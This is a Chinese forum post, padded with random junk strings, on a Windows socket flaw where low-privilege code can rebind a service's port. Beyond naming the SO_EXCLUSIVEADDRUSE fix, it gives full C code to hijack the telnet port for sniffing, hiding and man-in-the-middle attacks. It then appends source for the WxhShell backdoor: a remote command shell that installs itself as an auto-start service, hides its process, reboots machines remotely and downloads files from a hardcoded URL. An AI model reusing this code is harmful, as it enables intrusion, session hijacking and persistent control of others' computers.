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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [F BCz>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~%8Q75tn.  
_k"&EW{ Ii  
  saddr.sin_family = AF_INET; qCxD{-9x{  
% RBI\tj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O=!)})YG  
c"QkE*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Bp=oTC G  
priT 7!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <?=mLOo =  
 01UR  
  这意味着什么?意味着可以进行如下的攻击: tNi% }~Z  
\r1kbf7?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GtAJ#[5w  
D~i@. k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eD` ,  
f2SU5e2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %FR^[H]  
XeIUdg4>R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mv9E{m  
6Mf3)o2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fa*H cz  
,:dEEL+>c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9 z8<[>  
 i?i7T`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iz%A0Z+`bg  
Vm,f3~  
  #include 3Q!J9t5dc  
  #include w$U/;C  
  #include t}c}@i_c  
  #include    ;ow~vO,x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n.)[MC}  
  int main() Fv7%TK{oe  
  { 44fq1<.K  
  WORD wVersionRequested; _:fO)gs|1  
  DWORD ret; D-b2E6 o6  
  WSADATA wsaData; GJ^]ER-K  
  BOOL val; hB GGs  
  SOCKADDR_IN saddr; *n|0\V<  
  SOCKADDR_IN scaddr; 5qtmb4R~  
  int err; EV?47\ ~  
  SOCKET s; R6WgA@Z|r  
  SOCKET sc; E23 Yk?"  
  int caddsize; XnI ;7J  
  HANDLE mt; 4htSwK+  
  DWORD tid;   ==jw3_W  
  wVersionRequested = MAKEWORD( 2, 2 ); L/iVs`qF  
  err = WSAStartup( wVersionRequested, &wsaData ); _{Q?VQvZ  
  if ( err != 0 ) { mJDKxgGK  
  printf("error!WSAStartup failed!\n"); ~=AKX(Q  
  return -1; >$S,>d_k`  
  } yzM+28}L<I  
  saddr.sin_family = AF_INET; eE.5zXU3R  
   KZ<RDXVT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )T};Q:  
mP$G9R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jr>S/]"  
  saddr.sin_port = htons(23); Vw;ldEdx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gHh.|PysW  
  { @;n$caw  
  printf("error!socket failed!\n"); VgZaDd;  
  return -1; ID)gq_k[8,  
  } Uh|__DUkh  
  val = TRUE; r)#"$Sm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )`+@j.75  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b\0Q:  
  { .dKRIFo  
  printf("error!setsockopt failed!\n"); yL3<X w|  
  return -1; j'40>Ct=i  
  } <Ec)m69P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Va |9)m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kW2nrkF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K%TKQ<R|  
r(in]7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]20 "la5  
  { =u3@ Dhw  
  ret=GetLastError(); Z/05 wB  
  printf("error!bind failed!\n"); 3Gd&=IJ  
  return -1; R,5$ 0_]|+  
  } (~pEro]?+)  
  listen(s,2); ~~:8Yv[(  
  while(1) 97))'gC  
  { ?.Yw%{?TG  
  caddsize = sizeof(scaddr); })0 7u  
  //接受连接请求 PSQ:'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `)C`_g3Ew  
  if(sc!=INVALID_SOCKET) &<P^Tvqq&  
  { v yLAs;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v.2Vg  
  if(mt==NULL) `Ig2f$}  
  { ~q T1<k  
  printf("Thread Creat Failed!\n"); yDyeP{  
  break; lQ<n dt~  
  } zI:5I@ X  
  } F3 l^^ Mc  
  CloseHandle(mt); dbUZGn~  
  } B{o\RNU  
  closesocket(s); nC!^,c  
  WSACleanup(); c'#J{3d  
  return 0; @Rb1)$~#  
  }   ,8o*!(uO2  
  DWORD WINAPI ClientThread(LPVOID lpParam) :6k DUFj}  
  { 7(g&z%  
  SOCKET ss = (SOCKET)lpParam; |UDD/e  
  SOCKET sc; rD U6 5j  
  unsigned char buf[4096]; 5<?c_l9X^  
  SOCKADDR_IN saddr; rWfurB5f  
  long num; <&0*5|rR  
  DWORD val; Q%VR@[`\  
  DWORD ret; 2au(8IWu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m3xj5]#^$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?M-8Fp3 +  
  saddr.sin_family = AF_INET; ^\kHEM|5v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >.wd)  
  saddr.sin_port = htons(23); #M^Yh?~%w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IZv, Wo  
  { s>``- ]3  
  printf("error!socket failed!\n"); = 4WZr  
  return -1; 2d;xAX]  
  } "X(=  
  val = 100; -QI`npsnV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -zLI!F 0  
  { {i}Q}OgYq  
  ret = GetLastError(); @$yYljP  
  return -1; cTa D{!zm5  
  } ?| LB:8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hGo|2@sc  
  { f uN XY-;  
  ret = GetLastError(); UG'U D"  
  return -1; 3R:i*8C  
  } HWfX>Vf>}k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z slEUTj)  
  { u&_U CJCf  
  printf("error!socket connect failed!\n"); @OY-(cW  
  closesocket(sc); Bt7v[Ot   
  closesocket(ss); 10 H!  
  return -1; k Q(y^tW  
  } )$4DH:WN  
  while(1) EEZ2Gu6c  
  { w:zC/5x`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 / lM~K:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (<JDD]J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Fd9N).%  
  num = recv(ss,buf,4096,0); ^QQ NJ  
  if(num>0) 3X,{9+(F  
  send(sc,buf,num,0); `h3}"js  
  else if(num==0) <a[8;YQC  
  break; XK-x*|  
  num = recv(sc,buf,4096,0); 9x{prCr  
  if(num>0) hsO.521g  
  send(ss,buf,num,0); ;L%~c4`l~m  
  else if(num==0) vGHYB1=~  
  break; T>%ny\?tHW  
  } bCe-0!Q  
  closesocket(ss); T`ZJ=gv  
  closesocket(sc); j4r,_lH^r  
  return 0 ; -86:PL(I"  
  } P}QbxkS 8  
9ufs6 z  
h:sG23@=  
========================================================== hBE>ea  
[]!r|R3  
下边附上一个代码,,WXhSHELL TPFmSDq  
f:&OOD o  
========================================================== "]V|bz o0a  
PSR `8z n  
#include "stdafx.h" Y(Ezw !a  
~'.yhPo g  
#include <stdio.h> H^:|`T|,  
#include <string.h> T5_Cu9>ax  
#include <windows.h> J\D3fh97-  
#include <winsock2.h> bu&y w~  
#include <winsvc.h> X2?_lZ[\  
#include <urlmon.h> $-fY8V3[  
1ZFSz{  
#pragma comment (lib, "Ws2_32.lib") E"&9FxS]^  
#pragma comment (lib, "urlmon.lib") jUSr t)o03  
>! .9g  
#define MAX_USER   100 // 最大客户端连接数 mxA )r5sx  
#define BUF_SOCK   200 // sock buffer <XrGr5=BV  
#define KEY_BUFF   255 // 输入 buffer x.Ml~W[  
}c5`~ LLK  
#define REBOOT     0   // 重启 #zs\Z]3#  
#define SHUTDOWN   1   // 关机 l8Qi^<i/  
NWK_(=n  
#define DEF_PORT   5000 // 监听端口 ,x.)L=Cx8  
A_|FsQ6$P  
#define REG_LEN     16   // 注册表键长度 ta., 4R&K  
#define SVC_LEN     80   // NT服务名长度 ]sAD5<;  
bI(98V,t  
// 从dll定义API H5 hUY'O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z@/5~p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !r0P\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zRFM/IYC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z5vI0 N$  
as!j0j%  
// wxhshell配置信息 S,RJ#.:F[t  
struct WSCFG { -V/i%_+Ze  
  int ws_port;         // 监听端口 S\!E;p  
  char ws_passstr[REG_LEN]; // 口令 z1s"C[W2T  
  int ws_autoins;       // 安装标记, 1=yes 0=no D+""o"%  
  char ws_regname[REG_LEN]; // 注册表键名 jloyJ@ck  
  char ws_svcname[REG_LEN]; // 服务名 M[_I16s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |R/50axI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AB\4+ CLV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n5>N9lc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TJ:Lz]l >  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {hR2NUm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lXKZNCL  
#K w\r50  
}; SH|$Dg  
p n>`v   
// default Wxhshell configuration q Db}b d5  
struct WSCFG wscfg={DEF_PORT, c%.& F  
    "xuhuanlingzhe", nB0 ol-<  
    1, 0+pJv0u  
    "Wxhshell", \"Iy <zG  
    "Wxhshell", q:.BY}X9  
            "WxhShell Service", 'v  X"l  
    "Wrsky Windows CmdShell Service", =LnAMl#9  
    "Please Input Your Password: ", rSn7(3e4^  
  1, K_n%`5  
  "http://www.wrsky.com/wxhshell.exe", &_j4q  
  "Wxhshell.exe" 3k^jR1  
    }; m5{SPa,y  
HCK4h DKo}  
// 消息定义模块 bp,CvQ'}a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EdpR| z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1PSb72h<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >.\E'e5^C  
char *msg_ws_ext="\n\rExit."; M7 !" t  
char *msg_ws_end="\n\rQuit."; q|J]  
char *msg_ws_boot="\n\rReboot..."; BUyA]  
char *msg_ws_poff="\n\rShutdown..."; --kK<9J7  
char *msg_ws_down="\n\rSave to "; sKO ;p  
>`'9V| 1  
char *msg_ws_err="\n\rErr!"; I#U44+c  
char *msg_ws_ok="\n\rOK!"; j83 V$ Le  
Q>$L;1E*,  
char ExeFile[MAX_PATH]; ]EQ/*ct  
int nUser = 0; 9l]IE,u  
HANDLE handles[MAX_USER]; 3(5Y-.aK}^  
int OsIsNt; 9<S-b |!@  
oVW?d]R  
SERVICE_STATUS       serviceStatus; mM.&c5U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9G~P)Z!0  
qE{S'XyM,  
// 函数声明 ]XU#i#;c  
int Install(void); (xL=X%6a  
int Uninstall(void); i;Y^}2   
int DownloadFile(char *sURL, SOCKET wsh); n TG|Isa  
int Boot(int flag); (.o'1 '  
void HideProc(void); W(YJz#]6_  
int GetOsVer(void); "#jKk6{I0  
int Wxhshell(SOCKET wsl); N=9lA0y+  
void TalkWithClient(void *cs); Cq~Ir*"  
int CmdShell(SOCKET sock); 6bba}P  
int StartFromService(void); 's<}@-]  
int StartWxhshell(LPSTR lpCmdLine); e{&gF1" [  
46~ug5gV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r$5!KO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 51x,[y+Xe  
x{$NstGB  
// 数据结构和表定义 if>] )g2lr  
SERVICE_TABLE_ENTRY DispatchTable[] = #Gx@\BE{  
{ X;h~s:LM  
{wscfg.ws_svcname, NTServiceMain}, y1X.Mvc  
{NULL, NULL} 4a-wGx#h  
}; .Ko`DH~!,C  
"Q1hP9xV  
// 自我安装 2+PIZ6=hN  
int Install(void) 0P(}e[~Z  
{ M_K&x-H0  
  char svExeFile[MAX_PATH]; ]mSVjF3l  
  HKEY key; ?L^ Gu ]y  
  strcpy(svExeFile,ExeFile); {Hu0  
=%LS9e^7D  
// 如果是win9x系统,修改注册表设为自启动 Gj=il-Po  
if(!OsIsNt) { qM+T Wp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8@-US , |  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A7H=#L+C  
  RegCloseKey(key); zVu}7v()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OK=t)6&b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GF&"nW9A  
  RegCloseKey(key); o/R-1\Dn  
  return 0; Wm 61  
    } s/V[tEC*z  
  } )1/O_N6C  
} ^gG,}GTl  
else { rQJoaP+\q  
YC~+r8ME$j  
// 如果是NT以上系统,安装为系统服务 ^d,d<Uc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6]VTn-  
if (schSCManager!=0) iYnt:C  
{ y@I"Hk<T  
  SC_HANDLE schService = CreateService pN[i%\vh  
  ( \XC1/LZQ  
  schSCManager, +Ji dP  
  wscfg.ws_svcname, *L=CJg  
  wscfg.ws_svcdisp, v&Kw 3!X#E  
  SERVICE_ALL_ACCESS, ^s5)FdF8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2;/hFwm  
  SERVICE_AUTO_START, 4y 'REC  
  SERVICE_ERROR_NORMAL, Go4l#6  
  svExeFile, -t]0DsPg  
  NULL, Wxjpe4  
  NULL, Xma0k3;-  
  NULL, ;I>`!|mT  
  NULL, +xMDm_TGLA  
  NULL \ C Yu;  
  ); 4"{q|~&=:$  
  if (schService!=0) JmkJ^-A 6  
  { D+OkD-8q  
  CloseServiceHandle(schService); gIeo7>u  
  CloseServiceHandle(schSCManager); [eImP V]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2bqwnRT}  
  strcat(svExeFile,wscfg.ws_svcname); VrpY BU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BtspnVB ez  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3iB8QO;pp  
  RegCloseKey(key); Nbr{)h  
  return 0; `g7' )MSy  
    } q07>FW R  
  } nN[,$`JD,  
  CloseServiceHandle(schSCManager); [yz;OoA:;  
} ws=y*7$y  
} Mvux=Ws  
rVLA"x 9u  
return 1; E)Dik`Ccl  
} 1*Z}M%  
YV+e];s  
// 自我卸载 B6BOy~B0  
int Uninstall(void) @I%m}>4Jm  
{ b+kb7  
  HKEY key; 4R6X"T9-  
E>&dG:3no  
if(!OsIsNt) { 2l9_$evK~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kns[b [!H  
  RegDeleteValue(key,wscfg.ws_regname); I)clGMS,  
  RegCloseKey(key); c8(.bmvF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l 1@:&j3h  
  RegDeleteValue(key,wscfg.ws_regname); "YivjHa7H  
  RegCloseKey(key); K.z@Vx.  
  return 0; 1*XqwBV  
  } H]cCyuCdH  
} ak%8|'}  
} i+OyBDkJM!  
else { Q?~l=}2  
~! @a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #VLTx!5o  
if (schSCManager!=0) 'SC`->F4D  
{ FK->|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cng 1k  
  if (schService!=0) h-<+Pjc  
  { >d =k-d  
  if(DeleteService(schService)!=0) { !+i  
  CloseServiceHandle(schService); nF=h|rN  
  CloseServiceHandle(schSCManager); co: W!  
  return 0; E5B:79BGO  
  } W)KV"A3C  
  CloseServiceHandle(schService); x,n;GR  
  } 8E D6C"6  
  CloseServiceHandle(schSCManager); wuPx6hCl  
} \5Hfe;ny-~  
} 'Ic$p>  
@hk~8y]rz  
return 1; 6b@:La  
} !y6 D+<k*]  
Rt+s\MC^r  
// 从指定url下载文件 <=WQs2  
int DownloadFile(char *sURL, SOCKET wsh) )AnX[:y  
{ ZZ.GpB.  
  HRESULT hr; 9T)-|fja_  
char seps[]= "/"; f)>=.sp  
char *token; 5K,Y6I&$SJ  
char *file; W}Z'zU?[  
char myURL[MAX_PATH];  0N md*r  
char myFILE[MAX_PATH]; K?) &8S  
@X|CubJ  
strcpy(myURL,sURL);  E;k'bz  
  token=strtok(myURL,seps); 9%|!+!j  
  while(token!=NULL) .QW89e,O3  
  { jfk`%C Ek=  
    file=token; fF ;-d2mF  
  token=strtok(NULL,seps); Ok9XC <Xu  
  } ;as B@Q  
>=wlS\:"  
GetCurrentDirectory(MAX_PATH,myFILE); NT:p6(s^  
strcat(myFILE, "\\"); /aP`|&G,)  
strcat(myFILE, file); geua8;  
  send(wsh,myFILE,strlen(myFILE),0); ^MuO;<<,.  
send(wsh,"...",3,0); op;OPf,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >-f`mT  
  if(hr==S_OK) k\A8Z[  
return 0; ]"^U  
else 2-FL&DE  
return 1; ;:f.a(~c  
;8H m#p7,  
} Tw=Jc 's  
NeQ/#[~g  
// 系统电源模块 0:Xvch0  
int Boot(int flag) 4;x{@Ln  
{ UE5T%zd/  
  HANDLE hToken; bP(xMw<'j  
  TOKEN_PRIVILEGES tkp; }Dm-Ibdg(  
aH*)W'N?  
  if(OsIsNt) { $0 eyp]XC\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3V2 "1Ic  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^As^hY^p  
    tkp.PrivilegeCount = 1; >HXT:0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $o0o5 ^Z-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M#UW#+*g!  
if(flag==REBOOT) { lo Oh }y+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J;HkR9<C  
  return 0; eVS6#R]'m  
} [?^,,.Dd  
else { 2/3,%5j_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uL`;KD  
  return 0; b|P[\9  
} hvkLcpE  
  } @h$cHZ  
  else {  [td)v,  
if(flag==REBOOT) { -)PQ&[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hz `aj  
  return 0; ^fa+3`>  
} 7E 6gXf.  
else { 9t9x&.A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /^SIJS@^`>  
  return 0; To.CY^M  
} "k[-eFz/@M  
} ;N#d'E\  
E9i M-Lw  
return 1; 1YL6:5n  
} 8c3Qd  
x4Q*~,n  
// win9x进程隐藏模块 {1Z8cV   
void HideProc(void) 9Ra*bP ]1  
{ nep0<&"  
YBehyx2eK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *]:gEO  
  if ( hKernel != NULL ) 9ldv*9v  
  { Js.2R$o =*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  Y[#EFM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }rRf4te  
    FreeLibrary(hKernel); @i U@JE`C  
  } %ukFn &-2@  
n]S DpptM  
return; 5[suwaJQ  
} L|A}A[P  
c6VfFt6p  
// 获取操作系统版本 V(u#8M  
int GetOsVer(void) a\;Vly;  
{ Q]?r&%Y  
  OSVERSIONINFO winfo; ;6P #V`u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =:A hg 9  
  GetVersionEx(&winfo); QQ;<L"VW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E{'{fo!#)  
  return 1; '#pY/,hVB  
  else [$:M/5y9  
  return 0; Ws$<B b  
} 7L)edR [  
Oh)s"f\N  
// 客户端句柄模块 ++1<A& a  
int Wxhshell(SOCKET wsl) vkUXMMuf+e  
{ T%zCAfx m  
  SOCKET wsh; J)tk<&X  
  struct sockaddr_in client; O<}3\O )G(  
  DWORD myID; ZFYv|2l  
0N9`WK  
  while(nUser<MAX_USER) nE;^xMOK!  
{ t+y$i@R:  
  int nSize=sizeof(client); HGIPz{/5U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {S[+hUl  
  if(wsh==INVALID_SOCKET) return 1; -hL0}Wy$N  
[&y="6No  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s[<a(  
if(handles[nUser]==0) 3*INDD=  
  closesocket(wsh); =)QtE|p,77  
else {<$ D|<S  
  nUser++; %8C,9q  
  } d^b(Uo=$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); max 5s$@  
IY_u|7d  
  return 0; _:"PBN9  
} 2yB)2n#ut  
9)2 kjBeb  
// 关闭 socket 1V ?)T  
void CloseIt(SOCKET wsh) rFn%e  
{ F3 uR:)4<M  
closesocket(wsh); Fs+ CY  
nUser--; uT1xvXfqP  
ExitThread(0); /1D]\k()  
} )\K;Ncp[  
B:5NIa  
// 客户端请求句柄 QEtf-xNn^  
void TalkWithClient(void *cs) \<n 9kwU  
{ d}B_ wz'  
Hg[g{A_G[  
  SOCKET wsh=(SOCKET)cs; 0'm$hU}  
  char pwd[SVC_LEN]; o}^/K m+t  
  char cmd[KEY_BUFF]; @bfW-\ I  
char chr[1]; Jr2x`^aNO  
int i,j; 4S9hz  
8&K1;l }  
  while (nUser < MAX_USER) { ^v2-"mX<  
v$n J$M&k  
if(wscfg.ws_passstr) { ]\TYVv)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C6<*'5T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~%gO+qD  
  //ZeroMemory(pwd,KEY_BUFF); SK][UxoHm  
      i=0; I| V yv  
  while(i<SVC_LEN) { nf%"7y{dd  
dio<?6ZD9P  
  // 设置超时 m%$GiNs}  
  fd_set FdRead; y"bSn5B[  
  struct timeval TimeOut; _U Q|I|V#  
  FD_ZERO(&FdRead); 1UHlA8w7 Q  
  FD_SET(wsh,&FdRead); A5WchS'  
  TimeOut.tv_sec=8; -9D2aY_>  
  TimeOut.tv_usec=0; c>~q2_} W(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -=;V*;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _R/^P>Q?  
D6Q6yNE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5>S=f{ghFw  
  pwd=chr[0]; ng0tNifZ;  
  if(chr[0]==0xd || chr[0]==0xa) { pYxdE|2j  
  pwd=0; An.Qi=Cv  
  break; 6_rgj{L  
  } cu |S|]g  
  i++; YZ0y_it)  
    } \Ei(HmEU  
bY@ S[  
  // 如果是非法用户,关闭 socket ;~^9$Z@%Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BI|BfO%F$j  
} 1K&_t  
N'5AU (  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @gc|Z]CV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G d%X> ~  
B)L=)N  
while(1) { &gv{LJd5b  
F ]qX}  
  ZeroMemory(cmd,KEY_BUFF); #&$a7L}  
B8G9V6KS-  
      // 自动支持客户端 telnet标准   e6 &-f  
  j=0;  sJ3O ]  
  while(j<KEY_BUFF) { xPcH]Gs^b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$+K't5BZ  
  cmd[j]=chr[0]; U??T>  
  if(chr[0]==0xa || chr[0]==0xd) { =!R+0  
  cmd[j]=0; arQEi  
  break; vG2&qjY1  
  } :c?}~a~JO(  
  j++; U%PII>s'#  
    } Y%GIKtP  
fR^aFT  
  // 下载文件 :nLhg$wMs  
  if(strstr(cmd,"http://")) { Yw!(]8PYdU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >}I BPC  
  if(DownloadFile(cmd,wsh)) Ho^rYz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2a,l;o$2&  
  else n){F FM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bMCy=5  
  } _T^+BUw  
  else { 12olVTuw  
s*3p*zf  
    switch(cmd[0]) { rn8#nQ>QZ%  
  sI,S(VWor  
  // 帮助 ;,&$ob*/  
  case '?': { Shag4-*@hi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BKJwM'~  
    break; J]"IT*-Ht  
  } %~{G*%:  
  // 安装 3W#f Fy  
  case 'i': { "TQ3{=j{  
    if(Install()) T+knd'2V6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [BLBxSL  
    else ]+)cXJ}6#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I1k+   
    break; z>&|:VGG  
    }  y5!fbmf  
  // 卸载 y]YUuJ9a  
  case 'r': { ;*AK eI2  
    if(Uninstall()) [W*xPXr*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,R+C.6{  
    else nyRQ/.3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2cu?2_,  
    break; H}f} Y8J{  
    } i| /EA7  
  // 显示 wxhshell 所在路径 Jmcf9g  
  case 'p': { W&'[Xj  
    char svExeFile[MAX_PATH]; Up*.z\|'y  
    strcpy(svExeFile,"\n\r"); MmL)CT  
      strcat(svExeFile,ExeFile); m .':5  
        send(wsh,svExeFile,strlen(svExeFile),0); uB*Y}"Fn  
    break; ),%(A~\  
    } -0G/a&ss  
  // 重启 $ KAOJc4<  
  case 'b': { a*T=;P3(I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b$,~S\\c  
    if(Boot(REBOOT)) >`S $(f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~L55l2u7  
    else { q2U8]V U)  
    closesocket(wsh); g UAx8=h  
    ExitThread(0); %.nZ@';.  
    } R>#BJ^>=  
    break; '^# =,+ A  
